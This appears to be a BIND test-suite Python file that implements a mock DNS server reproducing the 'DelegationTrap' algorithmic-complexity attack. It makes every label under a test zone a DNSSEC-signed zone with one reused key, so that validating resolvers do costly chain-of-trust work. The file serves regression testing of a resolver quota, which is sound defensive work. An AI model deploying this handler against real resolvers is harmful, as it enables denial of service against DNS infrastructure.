Home | History | Annotate | Line # | Download | only in ans4
      1 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
      2 #
      3 # SPDX-License-Identifier: MPL-2.0
      4 #
      5 # This Source Code Form is subject to the terms of the Mozilla Public
      6 # License, v. 2.0.  If a copy of the MPL was not distributed with this
      7 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
      8 #
      9 # See the COPYRIGHT file distributed with this work for additional
     10 # information regarding copyright ownership.
     11 
     12 """Handler for the attack.delegationtrap. zone (DelegationTrap reproducer).
     13 
     14 This is a Python port of the DelegationTrap vector from the ReTrap PoC
     15 (gitlab.isc.org/bind-team/nankai-cve-reproducers).  It reproduces the
     16 "deep delegation hierarchy" algorithmic-complexity attack described in
     17 issue #5347 (part of the #5341 meta-issue).
     18 
     19 The server is authoritative for the whole attack.delegationtrap. subtree
     20 and pretends that *every* label below the apex is its own secure zone,
     21 all sharing a single reused key.  For any name N under the apex it
     22 answers:
     23 
     24   N/DNSKEY -> DNSKEY(K)                signed by N          (self-signed)
     25   N/DS     -> DS(K, owner=N)           signed by parent(N)
     26   N/A      -> A 10.53.0.4              signed by parent(N)
     27 
     28 Because the A answer is returned directly (no referral) but its RRSIG
     29 signer is the immediate parent, a validating resolver must build the
     30 whole chain of trust label by label: for a query with a depth-D name it
     31 fetches and validates DNSKEY + DS at each of the D levels.  This is the
     32 "chain-of-trust construction" cost the attack amplifies, and it is what
     33 BIND's per-fetch validation quota (max-validations-per-fetch) is meant
     34 to bound.
     35 
     36 Key material is written by bootstrap() in tests_delegationtrap.py to
     37 attack_delegationtrap.pem in this directory before any server starts.
     38 """
     39 
     40 from collections.abc import AsyncGenerator
     41 from pathlib import Path
     42 
     43 import time
     44 
     45 from cryptography.hazmat.primitives import serialization
     46 from dns.rdtypes.dnskeybase import Flag
     47 
     48 import dns.dnssec
     49 import dns.name
     50 import dns.rcode
     51 import dns.rdata
     52 import dns.rdataclass
     53 import dns.rdatatype
     54 import dns.rrset
     55 
     56 from isctest.asyncserver import (
     57     DnsResponseSend,
     58     DomainHandler,
     59     QueryContext,
     60     ResponseAction,
     61 )
     62 
     63 ZONE_NAME = "attack.delegationtrap."
     64 SERVER_IP = "10.53.0.4"
     65 TTL = 300
     66 PEM_PATH = Path("attack_delegationtrap.pem")
     67 
     68 
     69 class DelegationTrapHandler(DomainHandler):
     70     """Serve every label under attack.delegationtrap. as a secure zone cut."""
     71 
     72     domains = [ZONE_NAME]
     73 
     74     def __init__(self) -> None:
     75         super().__init__()
     76         self._apex = dns.name.from_text(ZONE_NAME)
     77 
     78         self._priv = serialization.load_pem_private_key(
     79             PEM_PATH.read_bytes(), password=None
     80         )
     81         self._dnskey = dns.dnssec.make_dnskey(
     82             self._priv.public_key(),
     83             dns.dnssec.Algorithm.ECDSAP256SHA256,
     84             flags=Flag.ZONE | Flag.SEP,
     85         )
     86 
     87         now = int(time.time())
     88         self._inception = now - 3600
     89         self._expiration = now + 14 * 86400
     90 
     91     def _sign(self, rrset: dns.rrset.RRset, signer: dns.name.Name) -> dns.rrset.RRset:
     92         """Return an RRSIG RRset covering `rrset`, signed as zone `signer`."""
     93         rrsig = dns.dnssec.sign(
     94             rrset,
     95             self._priv,
     96             signer=signer,
     97             dnskey=self._dnskey,
     98             inception=self._inception,
     99             expiration=self._expiration,
    100             lifetime=None,
    101             deterministic=False,  # for OpenSSL<3.2.0 compat
    102         )
    103         rrsig_rrset = dns.rrset.RRset(
    104             rrset.name, rrset.rdclass, dns.rdatatype.RRSIG, rrset.rdtype
    105         )
    106         rrsig_rrset.update_ttl(TTL)
    107         rrsig_rrset.add(rrsig)
    108         return rrsig_rrset
    109 
    110     def _dnskey_rrset(self, name: dns.name.Name) -> dns.rrset.RRset:
    111         rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.DNSKEY)
    112         rrset.update_ttl(TTL)
    113         rrset.add(self._dnskey)
    114         return rrset
    115 
    116     def _ds_rrset(self, name: dns.name.Name) -> dns.rrset.RRset:
    117         ds = dns.dnssec.make_ds(name, self._dnskey, dns.dnssec.DSDigest.SHA256)
    118         rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.DS)
    119         rrset.update_ttl(TTL)
    120         rrset.add(ds)
    121         return rrset
    122 
    123     def _a_rrset(self, name: dns.name.Name) -> dns.rrset.RRset:
    124         rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.A)
    125         rrset.update_ttl(TTL)
    126         rrset.add(dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.A, SERVER_IP))
    127         return rrset
    128 
    129     async def get_responses(
    130         self, qctx: QueryContext
    131     ) -> AsyncGenerator[ResponseAction, None]:
    132         qname = qctx.qname
    133         qtype = qctx.qtype
    134         response = qctx.prepare_new_response(with_zone_data=False)
    135         response.set_rcode(dns.rcode.NOERROR)
    136 
    137         parent = qname.parent() if qname != dns.name.root else qname
    138 
    139         if qtype == dns.rdatatype.DNSKEY:
    140             # The DNSKEY RRset is signed by the zone itself (self-signed KSK).
    141             rrset = self._dnskey_rrset(qname)
    142             response.answer.extend([rrset, self._sign(rrset, qname)])
    143         elif qtype == dns.rdatatype.DS:
    144             # A DS lives in the parent zone and is signed by the parent.
    145             rrset = self._ds_rrset(qname)
    146             response.answer.extend([rrset, self._sign(rrset, parent)])
    147         elif qtype == dns.rdatatype.A:
    148             # The A answer is signed by the immediate parent, forcing the
    149             # resolver to build the trust chain label by label.
    150             rrset = self._a_rrset(qname)
    151             response.answer.extend([rrset, self._sign(rrset, parent)])
    152 
    153         yield DnsResponseSend(response, authoritative=True)
    154